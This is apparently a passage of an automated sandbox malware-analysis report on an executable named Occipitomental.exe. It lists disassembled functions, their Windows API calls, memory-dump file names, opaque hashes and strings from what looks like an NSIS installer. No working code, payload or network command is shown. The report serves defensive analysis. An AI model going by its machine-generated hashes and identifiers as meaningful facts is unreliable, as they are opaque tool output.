                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Message$Send$ClientScreen
                                                  • String ID: f
                                                  • API String ID: 41195575-1993550816
                                                  • Opcode ID: 31ce9a4f4114cdac1c56cc6e6a7041e0723a6b64a621d03b111e890c65b63bdb
                                                  • Instruction ID: 4b27695e280e242887da12c7cc5754773637cab379b52992c14d440b6ab19931
                                                  • Opcode Fuzzy Hash: 31ce9a4f4114cdac1c56cc6e6a7041e0723a6b64a621d03b111e890c65b63bdb
                                                  • Instruction Fuzzy Hash: 4C018C76D00218BADB00EB94DC81BEFBBBCAB55711F10412BBA10B62C0C2B4A9018BA5
                                                  Function 00402B7F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SetTimer.USER32(?,?,000000FA,00000000), ref: 00402B9A
                                                  • MulDiv.KERNEL32(000ABD86,00000064,000AD3B0), ref: 00402BC5
                                                  • wsprintfA.USER32 ref: 00402BD5
                                                  • SetWindowTextA.USER32(?,?), ref: 00402BE5
                                                  • SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BF7
                                                  Strings
                                                  • verifying installer: %d%%, xrefs: 00402BCF
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Text$ItemTimerWindowwsprintf
                                                  • String ID: verifying installer: %d%%
                                                  • API String ID: 1451636040-82062127
                                                  • Opcode ID: 0d9b77ec04c6300f2d1780336694ac6641750b272a9ea37e1e8171e8723cd637
                                                  • Instruction ID: 2606314667324be55f41e30219fef3bc9394611b5aff82d746d43452e3b9cc2b
                                                  • Opcode Fuzzy Hash: 0d9b77ec04c6300f2d1780336694ac6641750b272a9ea37e1e8171e8723cd637
                                                  • Instruction Fuzzy Hash: 9901FF71540208BBEF109F60DD0AFEE3BB9EB04305F008039FA16B51E1D7B9A955DB59
                                                  Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
                                                  • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
                                                  • GlobalFree.KERNEL32(?), ref: 0040276F
                                                  • GlobalFree.KERNEL32(00000000), ref: 00402782
                                                  • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040279A
                                                  • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                  • String ID:
                                                  • API String ID: 2667972263-0
                                                  • Opcode ID: d27e6dee6e6f4e82c87f401b93c2f0eecd5ac49d2b8bb9bf004f164279e6a16c
                                                  • Instruction ID: c72a82ba9ad54cd79da2f6af8e35d97bfd0db4c8549b0f23667d21b619a0d1b1
                                                  • Opcode Fuzzy Hash: d27e6dee6e6f4e82c87f401b93c2f0eecd5ac49d2b8bb9bf004f164279e6a16c
                                                  • Instruction Fuzzy Hash: 9E215C71C01124BBCF216FA5DE89EAEBA79EF05324F10423AF910762E1C7794D418FA9
                                                  Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3070329790.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                  • Associated: 00000000.00000002.3070306760.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070348692.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  • Associated: 00000000.00000002.3070387303.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_10000000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FreeGlobal
                                                  • String ID:
                                                  • API String ID: 2979337801-0
                                                  • Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                  • Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
                                                  • Opcode Fuzzy Hash: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
                                                  • Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2
                                                  Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • GetDlgItem.USER32(?), ref: 00401CE2
                                                  • GetClientRect.USER32(00000000,?), ref: 00401CEF
                                                  • LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
                                                  • SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
                                                  • DeleteObject.GDI32(00000000), ref: 00401D2D
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ClientDeleteImageItemLoadMessageObjectRectSend
                                                  • String ID:
                                                  • API String ID: 1849352358-0
                                                  • Opcode ID: c96c4e17559db5dc3ca44aae3c664aed432e6e7ab30599718e71f6d35a3a6bc8
                                                  • Instruction ID: 593f524f0f56d60e1fc11a8a6bbc9e15f3312f291ea64c997066006724e53d58
                                                  • Opcode Fuzzy Hash: c96c4e17559db5dc3ca44aae3c664aed432e6e7ab30599718e71f6d35a3a6bc8
                                                  • Instruction Fuzzy Hash: FEF03CB2A04114AFEB01ABE4DE88CAF77BCEB54301B004476F601F6190C7749D018B79
                                                  Function 004046D7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • lstrlenA.KERNEL32(0041FD20,0041FD20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004045F2,000000DF,00000000,00000400,?), ref: 00404775
                                                  • wsprintfA.USER32 ref: 0040477D
                                                  • SetDlgItemTextA.USER32(?,0041FD20), ref: 00404790
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: ItemTextlstrlenwsprintf
                                                  • String ID: %u.%u%s%s
                                                  • API String ID: 3540041739-3551169577
                                                  • Opcode ID: 2b6db2efeb45799232ee365156f5e9baf832e20e44c3c7b83ee9da5c9a5b6279
                                                  • Instruction ID: fde7fbcda73e06f71546803af61accc205d2577e4f834e35a140aa318663f7c1
                                                  • Opcode Fuzzy Hash: 2b6db2efeb45799232ee365156f5e9baf832e20e44c3c7b83ee9da5c9a5b6279
                                                  • Instruction Fuzzy Hash: 3411E773A0412877DB10666D9C45EAF3288DB86374F254237FA26F31D1EA788C1281F8
                                                  Function 0040585D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46stringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                    • Part of subcall function 00405CFD: lstrcpynA.KERNEL32(?,?,00000400,0040318B,00422F20,NSIS Error), ref: 00405D0A
                                                    • Part of subcall function 00405808: CharNextA.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,?,00405874,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055BF,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405816
                                                    • Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040581B
                                                    • Part of subcall function 00405808: CharNextA.USER32(00000000), ref: 0040582F
                                                  • lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000000,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055BF,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 004058B0
                                                  • GetFileAttributesA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000000,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055BF,?,771B3410,C:\Users\user~1\AppData\Local\Temp\), ref: 004058C0
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\$C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp
                                                  • API String ID: 3248276644-3799310293
                                                  • Opcode ID: cb887608a337bef365f075dbf4ed65c84e1b2a1d2ee6f30722e64456f73e84bd
                                                  • Instruction ID: 909c8d3fd404249b72f59da3ca6e13a8b26d043f1499ff833ea169d8e7c403dc
                                                  • Opcode Fuzzy Hash: cb887608a337bef365f075dbf4ed65c84e1b2a1d2ee6f30722e64456f73e84bd
                                                  • Instruction Fuzzy Hash: FCF02823104D6121D63632361C05EAF1A84CD87364B28813BFC51B12D1CA3CC863DD7E
                                                  Function 0040576F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • lstrlenA.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,004030C6,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 00405775
                                                  • CharPrevA.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,004030C6,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,004032CD), ref: 0040577E
                                                  • lstrcatA.KERNEL32(?,00409014), ref: 0040578F
                                                  Strings
                                                  • C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040576F
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CharPrevlstrcatlstrlen
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\
                                                  • API String ID: 2659869361-2382934351
                                                  • Opcode ID: b93cf1ceae9b045ecd4922b716e1fc9cbd1c977ad46d60c8ebcd99b8bca78654
                                                  • Instruction ID: 023f7408ada8d5c1aeddc6a893877c5a2de12b35a8757b47b9c38e9f0213d55a
                                                  • Opcode Fuzzy Hash: b93cf1ceae9b045ecd4922b716e1fc9cbd1c977ad46d60c8ebcd99b8bca78654
                                                  • Instruction Fuzzy Hash: BCD0A972605A30BAE21237169C09E8B2A0CCF82308B148023F200B72A2C63C4D028BFE
                                                  Function 00405808 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • CharNextA.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,?,00405874,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055BF,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405816
                                                  • CharNextA.USER32(00000000), ref: 0040581B
                                                  • CharNextA.USER32(00000000), ref: 0040582F
                                                  Strings
                                                  • C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp, xrefs: 00405809
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: CharNext
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp
                                                  • API String ID: 3213498283-558814822
                                                  • Opcode ID: d4b5890a5172656c1eb40fd441f0df9ff670fb177ebc071cda3f773123205e0b
                                                  • Instruction ID: f0cf7fef16a01abdff0357a417d67991075a73f1b1c62c496353d96dbab8e0e0
                                                  • Opcode Fuzzy Hash: d4b5890a5172656c1eb40fd441f0df9ff670fb177ebc071cda3f773123205e0b
                                                  • Instruction Fuzzy Hash: A6F0F653904F91AAFB3272640C44B775B8CCB55350F04C47BEE80B62C2C67C4861CF9A
                                                  Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • DestroyWindow.USER32(00000000,00000000,00402DE2,?), ref: 00402C15
                                                  • GetTickCount.KERNEL32 ref: 00402C33
                                                  • CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
                                                  • ShowWindow.USER32(00000000,00000005), ref: 00402C5E
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Window$CountCreateDestroyDialogParamShowTick
                                                  • String ID:
                                                  • API String ID: 2102729457-0
                                                  • Opcode ID: bf3565a8d54977e971102c74698aaa5ab0c905542a3b89f7c95156eeb2b10c0e
                                                  • Instruction ID: 2730d2a3776e1339b9346d87ab19af6b7380862a528adabe40aaf425641bd1fc
                                                  • Opcode Fuzzy Hash: bf3565a8d54977e971102c74698aaa5ab0c905542a3b89f7c95156eeb2b10c0e
                                                  • Instruction Fuzzy Hash: 68F054B090A270ABD621BF20FE4C99F7B74E7447117124476F004B21A4C67898C1CBAC
                                                  Function 00403942 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • SetWindowTextA.USER32(00000000,00422F20), ref: 004039DA
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: TextWindow
                                                  • String ID: "C:\Users\user\Desktop\Occipitomental.exe"$1033
                                                  • API String ID: 530164218-2139154233
                                                  • Opcode ID: 6138db2613e77f620c74338854ca73b5a1c568fa4742f92c97baade5a2b7d14d
                                                  • Instruction ID: 76705a7a5afea2c6a0eacb6801383c1eecc8e18f8899786da29e176716c049bd
                                                  • Opcode Fuzzy Hash: 6138db2613e77f620c74338854ca73b5a1c568fa4742f92c97baade5a2b7d14d
                                                  • Instruction Fuzzy Hash: 5211F6F1B04611ABCB209F15DD80A737B6CEBC5716328823FE90167394C67D9E029AAC
                                                  Function 00404E8A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • IsWindowVisible.USER32(?), ref: 00404EB9
                                                  • CallWindowProcA.USER32(?,?,?,?), ref: 00404F0A
                                                    • Part of subcall function 00403F2E: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00403F40
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Window$CallMessageProcSendVisible
                                                  • String ID:
                                                  • API String ID: 3748168415-3916222277
                                                  • Opcode ID: 44b8d16fffa3cf511a27652146f874074467920310ea138c5a7b32cc615b7cdd
                                                  • Instruction ID: 4911906597f3eaa4ffbe68f0188cda158002c4f31c253b535ba85266db60279e
                                                  • Opcode Fuzzy Hash: 44b8d16fffa3cf511a27652146f874074467920310ea138c5a7b32cc615b7cdd
                                                  • Instruction Fuzzy Hash: DC0175B110020DABDB205F52EC81AAB3625F7C4751F204037FB01756D1C7399C51AAB9
                                                  Function 004035E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • FreeLibrary.KERNEL32(?,771B3410,00000000,C:\Users\user~1\AppData\Local\Temp\,004035C0,004033DA,?), ref: 00403602
                                                  • GlobalFree.KERNEL32(004DA670), ref: 00403609
                                                  Strings
                                                  • C:\Users\user~1\AppData\Local\Temp\, xrefs: 004035E8
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Free$GlobalLibrary
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\
                                                  • API String ID: 1100898210-2382934351
                                                  • Opcode ID: 1acdd7952de975a5de59207208c6b073b3c222a5b17fc555175c0845e7698c1d
                                                  • Instruction ID: d46364a902ea990bd632c56cfb9f57f9e2cdd9ba0813e856c63e7cee72968c4e
                                                  • Opcode Fuzzy Hash: 1acdd7952de975a5de59207208c6b073b3c222a5b17fc555175c0845e7698c1d
                                                  • Instruction Fuzzy Hash: 93E0EC32915120ABC7225F65ED04B9ABBA87B49B26F09006BF9407B3A08B746D425AD9
                                                  Function 004057B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CD2,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Occipitomental.exe,C:\Users\user\Desktop\Occipitomental.exe,80000000,?), ref: 004057BC
